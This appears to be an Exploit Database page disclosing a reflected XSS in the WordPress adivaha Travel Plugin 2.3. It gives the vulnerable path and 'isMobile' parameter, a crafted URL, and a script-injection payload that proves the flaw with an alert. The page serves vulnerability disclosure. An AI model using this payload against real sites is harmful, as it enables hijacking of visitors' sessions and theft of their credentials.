



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# WordPress adivaha Travel Plugin 2.3 - Reflected XSS

**EDB-ID:**

51663

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[CRACKER](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[PHP](#)

**Date:**

2023-08-04

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: WordPress adivaha Travel Plugin 2.3 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 29/07/2023
# Vendor: adivaha - Travel Tech Company
# Vendor Homepage: https://www.adivaha.com/
# Software Link: https://wordpress.org/plugins/adiaha-hotel/
# Demo: https://www.adivaha.com/demo/adivaha-online/
# Version: 2.3
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
```

## ## Greetings

The\_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  
CryptoJob (Twitter) [twitter.com/0x0CryptoJob](https://twitter.com/0x0CryptoJob)

## ## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials

Path: /mobile-app/v3/

GET parameter 'isMobile' is vulnerable to XSS

[https://www.website/mobile-app/v3/?pid=77A89299&isMobile=\[XSS\]](https://www.website/mobile-app/v3/?pid=77A89299&isMobile=[XSS])

XSS Payload: clq95"><script>alert(1)</script>lb1ra

[ - ] Done

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

TERMS

PRIVACY

ABOUT US

FAQ

COOKIES

©

[OffSec Services Limited](#) 2026. All rights reserved.